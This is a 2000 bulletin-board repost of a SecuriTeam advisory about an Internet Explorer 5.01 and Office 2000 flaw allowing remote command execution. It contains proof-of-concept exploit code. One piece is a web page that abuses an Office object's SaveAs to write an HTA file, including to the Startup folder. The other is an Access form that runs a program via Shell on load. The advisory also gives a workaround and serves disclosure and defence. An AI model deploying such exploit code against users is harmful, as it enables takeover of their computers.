作者thermoboy.bbs@sparc20.ee.cycu.edu.tw (LiNuX_MaNdRaKe), 信區: security
標題[NT]IE 5 with Office 2000 vulnerable to remote command execution
時間中原電機站 (Fri Jun 30 17:54:03 2000)
轉信站: GIBBS!news2.ncku!news.ncku!news.csie.ncku!news.cis.nctu!netnews.csie.nc
Origin: sparc20.ee.cycu.edu.tw
The following security advisory is sent to the securiteam mailing
list, and can be found at the SecuriTeam web site:
http://www.securiteam.com
IE 5 with Office 2000 vulnerable to remote command execution
--------------------------------------------------------------------------------
SUMMARY
A combination of Internet Explorer 5.01 with Excel, PowerPoint or Access
2000 enables attackers to execute local commands by designing a special
web page or sending a custom HTML email message (using IFRAME in the
latter case).
This means that users who use IE to browse the web and have Office 2000
installed are expose themselves to an attack that results in full
control over the user's computer.
DETAILS
Vulnerable systems:
IE 5.01 and where Excel 2000, PowerPoint 2000 or Access 2000 are
installed.
IE 5.01 can launch dangerous ActiveX objects with the help of the
<OBJECT> tag and Office 2000 applications. For example, the following
code loads an XLA file:
<object data="Book1.xla" id="sh1" width=0 height=0></object>
where Book1.xla is just an XLS file renamed to XLA. The same result
may be achieved with a .ppt or .xls file, and probably other Office
2000 file types.
The result is having an object in IE that offers a SaveAs() method.
The SaveAs method can save the Excel Workbook or PowerPoint object in
arbitrary location, including the startup folder. The content of the
saved file is controllable and depends on the content of Book1.xla. If
the saved file is an HTA file, for example, it is possible to execute
arbitrary programs on the user's computer.
Exploit:
---------------------------------------------------
<object data="Book1.xla" id="sh1" width=0 height=0>
</object>
<SCRIPT>
function f()
{
fn="C:\\georgi-xla.hta";
sh1.object.SaveAs(fn,6);
file://sh1.object.SaveAs("C:\\windows\\Start
Menu\\Programs\\StartUp\\georgi-xla.hta",6);
alert(fn+" sucessfully written");
}
setTimeout("f()",5000);
</SCRIPT>
---------------------------------------------------
Demonstration:
A live demonstration is available at:
<http://www.nat.bg/~joro/sheetex.html>
http://www.nat.bg/~joro/sheetex.html
Exploit Code for Access 2000:
-----------access.html----------------------------
<OBJECT data="db3.mdb" id="d1"></OBJECT>
-----------in Form1 of db3.mdb---------------------
Private Sub Form_Load()
On Error GoTo Err_Command0_Click
Dim stAppName As String
stAppName = "C:\Program Files\Accessories\wordpad.exe"
MsgBox ("Trying to start: " & stAppName)
Call Shell(stAppName, 1)
Exit_Command0_Click:
Exit Sub
Err_Command0_Click:
MsgBox Err.Description
Resume Exit_Command0_Click
End Sub
---------------------------------------------------
Form1 is automatically opened at database startup.
Demonstration:
A demonstration of the access vulnerability is available at:
<http://www.nat.bg/~joro/access.html>
http://www.nat.bg/~joro/access.html
Workaround:
Disable Active Scripting or Disable Run ActiveX controls and plug-ins.
ADDITIONAL INFORMATION
The information has been provided by <mailto:joro@NAT.BG> Georgi
Guninski.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and
body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email
to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty
of any kind. In no event shall we be liable for any damages whatsoever
including direct, indirect, incidental, consequential, loss of business
profits or special damages.
--
※ Origin: 中原電機心站 ◆ From: 163.32.107.179
--
Origin: 中原電機心站 bbs.ee.cycu.edu.tw (140.135.12.1)